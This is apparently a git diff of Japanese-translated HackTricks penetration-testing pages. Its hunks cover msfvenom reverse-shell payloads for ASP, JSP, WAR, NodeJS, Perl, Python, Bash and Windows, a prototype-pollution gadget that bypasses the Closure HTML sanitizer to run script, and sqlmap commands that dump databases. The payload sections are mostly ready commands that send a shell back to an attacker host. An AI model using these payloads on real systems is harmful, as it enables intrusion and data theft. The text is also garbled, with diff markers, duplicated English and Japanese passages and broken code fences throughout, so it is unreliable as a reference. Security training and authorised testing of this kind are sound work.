Replace `<attacker IP>` with the IP address of your machine and `<attacker port>` with the port number you want to use for the reverse shell connection.
|
||||
|
||||
Once the payload is generated, you can upload the `shell.asp` file to the target system and execute it. This will establish a reverse TCP connection between the target system and your machine, giving you remote access to the target.
|
||||
|
||||
Note: Make sure to set up a listener on your machine to catch the incoming reverse shell connection. You can use the `multi/handler` module in Metasploit for this purpose.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### JSP
|
||||
|
||||
#### リバースシェル
|
||||
|
||||
リバースシェルは、ターゲットシステムに対してリモートでアクセスするための便利な方法です。JSP(Java Server Pages)を使用してリバースシェルを作成することができます。
|
||||
|
||||
以下のコマンドを使用して、msfvenomを介してJSPリバースシェルを生成します。
|
||||
|
||||
```plaintext
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war
|
||||
```
|
||||
|
||||
このコマンドでは、`<attacker IP>`と`<attacker port>`を攻撃者のIPアドレスとポート番号に置き換える必要があります。
|
||||
|
||||
生成された`shell.war`ファイルをターゲットシステムにアップロードし、デプロイします。その後、Webブラウザを使用して`http://<target IP>/shell/`にアクセスします。
|
||||
|
||||
これにより、攻撃者はターゲットシステムに対してリモートシェルを確立することができます。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
|
||||
```
|
||||
The **WAR** file format is commonly used in Java web applications. It stands for Web Application Archive and is essentially a compressed file that contains all the necessary files and resources for a web application to run.
|
||||
{% endcode %}
|
||||
|
||||
A **reverse shell** is a type of shell that allows an attacker to establish a connection to a target machine from a remote location. This is useful for gaining unauthorized access to a system and executing commands on it.
|
||||
### WAR
|
||||
|
||||
To create a **reverse shell** payload in a **WAR** file using **msfvenom**, you can use the following command:
|
||||
#### リバースシェル
|
||||
|
||||
```plaintext
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war
|
||||
```
|
||||
|
||||
Replace `<attacker IP>` with the IP address of the machine where the attacker is running the listener, and `<attacker port>` with the port number on which the listener is running.
|
||||
|
||||
This command will generate a **WAR** file named `shell.war` that contains the reverse shell payload. Once the target machine executes this file, it will establish a connection back to the attacker's machine, allowing the attacker to interact with the target system through a shell.
|
||||
|
||||
Remember to use this technique responsibly and only on systems that you have proper authorization to test.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### NodeJS
|
||||
|
||||
NodeJSは、JavaScriptランタイム環境であり、サーバーサイドでのアプリケーション開発に使用されます。NodeJSは、非同期イベント駆動型のアーキテクチャを持ち、高いパフォーマンスとスケーラビリティを提供します。
|
||||
NodeJSは、サーバーサイドでJavaScriptを実行するためのプラットフォームです。NodeJSを使用すると、JavaScriptを使用してWebサーバーやネットワークアプリケーションを構築することができます。NodeJSは、非同期イベント駆動型のプログラミングモデルを採用しており、高いパフォーマンスとスケーラビリティを提供します。
|
||||
|
||||
NodeJSを使用して開発されたアプリケーションは、一般的にWebサーバーやネットワークアプリケーションなど、高い並行性が求められる領域で使用されます。
|
||||
NodeJSを使用してペネトレーションテストを実行する場合、以下の手順に従ってください。
|
||||
|
||||
NodeJSは、npm(Node Package Manager)と呼ばれるパッケージ管理システムを使用して、さまざまなモジュールやライブラリを簡単にインストールおよび管理することができます。
|
||||
1. NodeJSのインストール: NodeJSをインストールするために、公式のNodeJSウェブサイトから最新のバージョンをダウンロードしてインストールします。
|
||||
|
||||
NodeJSは、コマンドラインから実行することもできますが、一般的にはWebフレームワーク(例:Express)を使用して、Webアプリケーションを開発します。
|
||||
2. 必要なモジュールのインストール: ペネトレーションテストに必要なモジュールをインストールします。例えば、`express`モジュールを使用してWebサーバーを作成する場合は、`npm install express`コマンドを使用します。
|
||||
|
||||
NodeJSは、セキュリティの観点からも重要です。適切なセキュリティ対策を講じない場合、悪意のあるユーザーによって悪用される可能性があります。したがって、NodeJSアプリケーションのセキュリティテストと脆弱性診断は重要なステップです。
|
||||
3. ペネトレーションテストの実行: NodeJSを使用してペネトレーションテストを実行します。例えば、`express`モジュールを使用して作成したWebサーバーに対して、セキュリティの脆弱性をテストするために、ツールや手法を使用することができます。
|
||||
|
||||
NodeJSは、柔軟性と拡張性があり、ペネトレーションテストにおいても有用なツールとして利用されています。NodeJSを使用することで、効率的かつ効果的なペネトレーションテストを実行することができます。
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||
```
|
||||
## **スクリプト言語のペイロード**
|
||||
|
||||
### **Perl**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Python**
|
||||
|
||||
Pythonは、人気のあるプログラミング言語であり、多くのハッカーにとって重要なツールです。Pythonは、シンプルで読みやすい構文を持ち、幅広い用途に使用することができます。Pythonを使用することで、効率的なスクリプトやツールを作成することができます。
|
||||
|
||||
Pythonは、ハッキングにおいてさまざまな目的に使用されます。例えば、情報収集、脆弱性スキャン、エクスプロイト開発などです。Pythonの強力なライブラリやフレームワークを活用することで、これらのタスクを効果的に実行することができます。
|
||||
|
||||
Pythonを使用してハッキングを行う際には、以下のような一般的な手法やリソースがあります。
|
||||
|
||||
#### **msfvenom**
|
||||
|
||||
msfvenomは、Metasploit Frameworkの一部であり、ペイロードを生成するための強力なツールです。ペイロードは、攻撃者がターゲットシステムに送り込む悪意のあるコードです。
|
||||
|
||||
msfvenomを使用すると、さまざまなプラットフォームやアーキテクチャに対応したペイロードを生成することができます。また、生成されたペイロードは、エクスプロイトやリモートシェルの作成に使用することができます。
|
||||
|
||||
以下は、msfvenomを使用してWindowsシステム向けのリモートシェルを生成する例です。
|
||||
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > shell.exe
|
||||
```
|
||||
|
||||
このコマンドは、リモートシェルを生成し、`shell.exe`という名前の実行可能ファイルとして保存します。攻撃者は、このファイルをターゲットシステムに送り込むことで、リモートシェルを確立することができます。
|
||||
|
||||
msfvenomは、ハッキングにおいて非常に便利なツールであり、様々な攻撃シナリオで使用されます。しかし、悪意のある目的で使用する場合は、法的な制約や倫理的な考慮事項に留意する必要があります。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
```
|
||||
### **Bash**
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
Bash(Bourne Again SHell)は、Unixシェルとして広く使用されているコマンド言語です。Bashは、LinuxやmacOSなどの多くのオペレーティングシステムでデフォルトのシェルとして提供されています。Bashは、シェルスクリプトの作成や実行、コマンドの実行、ファイルの操作など、さまざまなタスクを実行するために使用されます。
|
||||
### **Bash(バッシュ)**
|
||||
|
||||
Bashは、コマンドラインインターフェース(CLI)を介して操作されます。ユーザーは、ターミナルウィンドウでコマンドを入力し、Bashがそれを解釈して実行します。Bashは、シェルスクリプトとしても使用でき、複数のコマンドをまとめて実行することができます。
|
||||
|
||||
Bashは、パイプやリダイレクトなどの機能を提供し、コマンドの出力を他のコマンドに渡すことができます。また、変数や制御構造(ループや条件分岐)を使用して、より複雑なスクリプトを作成することもできます。
|
||||
|
||||
Bashは、システム管理や自動化、セキュリティテストなど、さまざまな目的で使用されます。Bashの強力な機能と柔軟性は、ハッカーにとっても非常に有用です。
|
||||
{% endcode %}
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -601,10 +275,10 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしましょう。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出しましょう。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -32,13 +32,13 @@ return 'test';
|
|||
|
||||
### プロトタイプ汚染の根本原因の特定 <a href="#5530" id="5530"></a>
|
||||
|
||||
ツールのいずれかが**プロトタイプ汚染の脆弱性**を**特定**した場合、**コード**が**非常に複雑でない**場合は、Chrome Developer ToolsでJSコードを検索し、**`location.hash/decodeURIComponent/location.search`**のキーワードを見つけて脆弱な箇所を特定することができます。
|
||||
ツールのいずれかが**プロトタイプ汚染の脆弱性**を**特定**した場合、もし**コード**が**非常に複雑でない**場合は、Chrome Developer ToolsでJSコードを検索し、**`location.hash/decodeURIComponent/location.search`**というキーワードを見つけて脆弱な箇所を特定することができます。
|
||||
|
||||
コードが大きく複雑な場合、脆弱なコードの場所を**特定する簡単な方法**があります。
|
||||
コードが大きく複雑な場合、脆弱なコードの場所を**特定する簡単な方法**があります:
|
||||
|
||||
* ツールのいずれかを使用して**脆弱性を見つけ**、コンストラクタに**プロパティを設定する**ペイロードを取得します。ppmapでは、`constructor[prototype][ppmap]=reserved`のようなものが与えられます。
|
||||
* 今、ページで実行される最初のJSコードの**最初の行にブレークポイントを設定**し、ペイロードを使用してページをリフレッシュします。これにより、実行がそこで一時停止します。
|
||||
* JSの実行が一時停止している間に、以下のスクリプトをJSコンソールに**貼り付けます**。このコードは、プロパティ 'ppmap' が作成されたことを示すため、どこで作成されたかを特定することができます。
|
||||
* 今、ページで実行される**最初の行のJSコードにブレークポイントを設定**し、ペイロードを使用してページをリフレッシュします。これにより、実行がそこで一時停止します。
|
||||
* JSの実行が一時停止している間に、**次のスクリプトをJSコンソールに貼り付けます**。このコードは、プロパティ 'ppmap' が作成されたことを示すため、どこで作成されたかを特定することができます。
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
||||
|
@ -60,19 +60,19 @@ return origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
**ソース**に戻り、「**スクリプトの実行を再開**」をクリックします。これを行うと、**JavaScript**全体が実行され、ppmapが再び予想どおりに汚染されます。スニペットの助けを借りて、ppmapプロパティが具体的にどこで汚染されているかを見つけることができます。**コールスタック**をクリックすると、汚染が発生した**異なるスタック**が表示されます。
|
||||
**ソース**に戻り、「**スクリプトの実行を再開**」をクリックします。これにより、すべての**JavaScript**が実行され、ppmapが予想どおりに汚染されます。スニペットの助けを借りて、ppmapプロパティが具体的にどこで汚染されているかを見つけることができます。**コールスタック**をクリックすると、汚染が発生した**異なるスタック**が表示されます。
|
||||
|
||||
しかし、どれを選ぶべきでしょうか?ほとんどの場合、プロトタイプ汚染はJavaScriptライブラリで発生しますので、スタックが.jsライブラリファイルに関連付けられているスタックを目指します(画像の右側を見て、どのエンドポイントにスタックが関連付けられているかを確認します)。この場合、4行目と6行目に2つのスタックがありますが、論理的には最初に汚染が発生する4行目を選択します。この行が脆弱性の原因であるためです。スタックをクリックすると、脆弱なコードにリダイレクトされます。
|
||||
しかし、どれを選ぶべきでしょうか?ほとんどの場合、Prototype PollutionはJavaScriptライブラリで発生しますので、スタックが.jsライブラリファイルに関連付けられているスタックを目指します(画像の右側を見て、どのエンドポイントにスタックが関連付けられているかを確認します)。この場合、4行目と6行目に2つのスタックがありますが、論理的には4行目を選択します。なぜなら、この行が汚染が発生する最初の箇所であり、つまりこの行が脆弱性の原因であるからです。スタックをクリックすると、脆弱なコードにリダイレクトされます。
|
||||
|
||||
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
|
||||
## スクリプトガジェットの検索
|
||||
|
||||
ガジェットとは、PPの脆弱性が発見された際に悪用される**コード**のことです。
|
||||
ガジェットとは、**PPの脆弱性が発見されたときに悪用されるコード**のことです。
|
||||
|
||||
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**などの**キーワード**を検索し、ソースコードを確認して**JavaScriptの実行**につながるかどうかを確認できます。時には、これらの技術を使用してもガジェットが見つからない場合があります。その場合、純粋なソースコードのレビューによって、以下の例のような素晴らしいガジェットが明らかになります。
|
||||
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**などの**キーワード**を検索し、ソースコードを確認してJavaScriptの実行につながるかどうかを確認できます。時には、これらの技術を使用してもガジェットが見つからない場合があります。その場合、純粋なソースコードのレビューによって、以下の例のような素晴らしいガジェットが明らかになります。
|
||||
|
||||
### MithilライブラリコードでのPPガジェットの例
|
||||
### MithilライブラリのコードでPPガジェットを見つける例
|
||||
|
||||
この解説をチェックしてください:[https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
|
@ -81,19 +81,53 @@ debugAccess(Object.prototype, 'ppmap')
|
|||
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
|
||||
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
|
||||
|
||||
## PPを介したHTMLサニタイザーのバイパス
|
||||
|
||||
[**この研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)では、一部のHTMLサニタイザーライブラリが提供するサニタイズを**バイパスするためのPPガジェット**が示されています。
|
||||
|
||||
* #### sanitize-html
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* #### dompurify
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* #### Closure
|
||||
```html
|
||||
<script>
|
||||
Object.prototype['* ONERROR'] = 1;
|
||||
Object.prototype['* SRC'] = 1;
|
||||
</script>
|
||||
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
|
||||
<script>
|
||||
goog.require('goog.html.sanitizer.HtmlSanitizer');
|
||||
goog.require('goog.dom');
|
||||
</script>
|
||||
<body>
|
||||
<script>
|
||||
const html = '<img src onerror=alert(1)>';
|
||||
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
|
||||
const sanitized = sanitizer.sanitize(html);
|
||||
const node = goog.dom.safeHtmlToNode(sanitized);
|
||||
|
||||
document.body.append(node);
|
||||
</script>
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
* [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
|
||||
* [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)
|
||||
* [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表され、世界中のハッカーや研究者を魅了する高度な技術的な内容のイベントです。\
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される技術的な内容の高いイベントであり、世界中のハッカーや研究者を惹きつけています。
|
||||
以下のリンクで今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
@ -52,9 +52,7 @@
|
|||
```
|
||||
#### DBデータ
|
||||
|
||||
The database contains sensitive information that can be valuable to an attacker. This information may include usernames, passwords, email addresses, credit card numbers, and other personally identifiable information (PII). It is important to protect this data from unauthorized access and potential leaks. In the context of a SQL injection attack, an attacker can exploit vulnerabilities in a web application to gain unauthorized access to the database and retrieve or modify its contents.
|
||||
|
||||
データベースには、攻撃者にとって価値のある機密情報が含まれています。この情報には、ユーザー名、パスワード、メールアドレス、クレジットカード番号、その他の個人を特定できる情報(PII)が含まれる場合があります。このデータを未承認のアクセスや潜在的な漏洩から保護することは重要です。SQLインジェクション攻撃の文脈では、攻撃者はウェブアプリケーションの脆弱性を悪用してデータベースに未承認でアクセスし、その内容を取得または変更することができます。
|
||||
The database contains sensitive information such as user credentials, personal data, and other valuable data. It is important to protect this data from unauthorized access and potential leaks. In the context of penetration testing, it is crucial to identify and exploit any vulnerabilities that may exist in the database to assess its security. SQL injection is a common technique used to exploit these vulnerabilities and gain unauthorized access to the database. By injecting malicious SQL queries, an attacker can manipulate the database and retrieve or modify its contents. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It can be used to perform various tasks such as fingerprinting the database, enumerating tables and columns, dumping data, and even executing arbitrary commands on the underlying operating system. This chapter will guide you through the process of using SQLMap to perform SQL injection attacks and extract valuable data from the database.
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
|
@ -73,154 +71,118 @@ sqlmap -r req.txt --current-user
|
|||
```
|
||||
### GETリクエストのインジェクション
|
||||
|
||||
In this section, we will discuss how to perform SQL injection attacks on GET requests using sqlmap. SQL injection is a common vulnerability that allows an attacker to manipulate the SQL queries executed by a web application.
|
||||
In this section, we will discuss how to perform SQL injection attacks on GET requests using SQLMap. SQL injection is a common vulnerability that allows an attacker to manipulate the SQL queries executed by a web application.
|
||||
|
||||
このセクションでは、sqlmapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。SQLインジェクションは、攻撃者がWebアプリケーションが実行するSQLクエリを操作することができる一般的な脆弱性です。
|
||||
このセクションでは、SQLMapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。SQLインジェクションは、攻撃者がWebアプリケーションが実行するSQLクエリを操作することができる一般的な脆弱性です。
|
||||
|
||||
To perform a SQL injection attack on a GET request, we need to identify the vulnerable parameter in the URL. This parameter is typically a part of the query string and is used to pass user input to the server.
|
||||
|
||||
GETリクエストに対してSQLインジェクション攻撃を行うには、URL内の脆弱なパラメータを特定する必要があります。このパラメータは通常、クエリ文字列の一部であり、ユーザーの入力をサーバーに渡すために使用されます。
|
||||
|
||||
Once we have identified the vulnerable parameter, we can use sqlmap to automate the process of exploiting the SQL injection vulnerability. Sqlmap is a powerful tool that automates the detection and exploitation of SQL injection flaws.
|
||||
Once we have identified the vulnerable parameter, we can use SQLMap to automate the process of exploiting the SQL injection vulnerability. SQLMap is a powerful tool that automates the detection and exploitation of SQL injection flaws.
|
||||
|
||||
脆弱なパラメータを特定したら、sqlmapを使用してSQLインジェクションの脆弱性を悪用するプロセスを自動化することができます。Sqlmapは、SQLインジェクションの欠陥の検出と悪用を自動化する強力なツールです。
|
||||
脆弱なパラメータを特定したら、SQLMapを使用してSQLインジェクションの脆弱性を悪用するプロセスを自動化することができます。SQLMapは、SQLインジェクションの欠陥の検出と悪用を自動化する強力なツールです。
|
||||
|
||||
To perform a basic SQL injection attack on a GET request, we can use the following command:
|
||||
To use SQLMap, we need to provide the URL of the vulnerable page and the name of the vulnerable parameter. SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.
|
||||
|
||||
基本的なSQLインジェクション攻撃をGETリクエストに対して実行するには、次のコマンドを使用します。
|
||||
SQLMapを使用するには、脆弱なページのURLと脆弱なパラメータの名前を指定する必要があります。SQLMapは、その後、対象を分析し、SQLインジェクションの脆弱性を悪用しようとします。
|
||||
|
||||
Here is an example command to perform a SQL injection attack on a GET request using SQLMap:
|
||||
|
||||
以下は、SQLMapを使用してGETリクエストに対してSQLインジェクション攻撃を実行するための例です。
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/page.php?id=1" --dbs
|
||||
sqlmap -u "http://example.com/vulnerable.php?id=1" -p "id"
|
||||
```
|
||||
|
||||
This command tells sqlmap to target the URL "http://example.com/page.php?id=1" and enumerate the available databases.
|
||||
In this example, we specify the URL of the vulnerable page (`http://example.com/vulnerable.php?id=1`) and the name of the vulnerable parameter (`id`). SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.
|
||||
|
||||
このコマンドは、sqlmapに対してURL "http://example.com/page.php?id=1" を対象にし、利用可能なデータベースを列挙するよう指示します。
|
||||
この例では、脆弱なページのURL(`http://example.com/vulnerable.php?id=1`)と脆弱なパラメータの名前(`id`)を指定しています。SQLMapは、その後、対象を分析し、SQLインジェクションの脆弱性を悪用しようとします。
|
||||
|
||||
Sqlmap will automatically analyze the URL, identify the vulnerable parameter, and attempt to exploit the SQL injection vulnerability by injecting malicious SQL queries.
|
||||
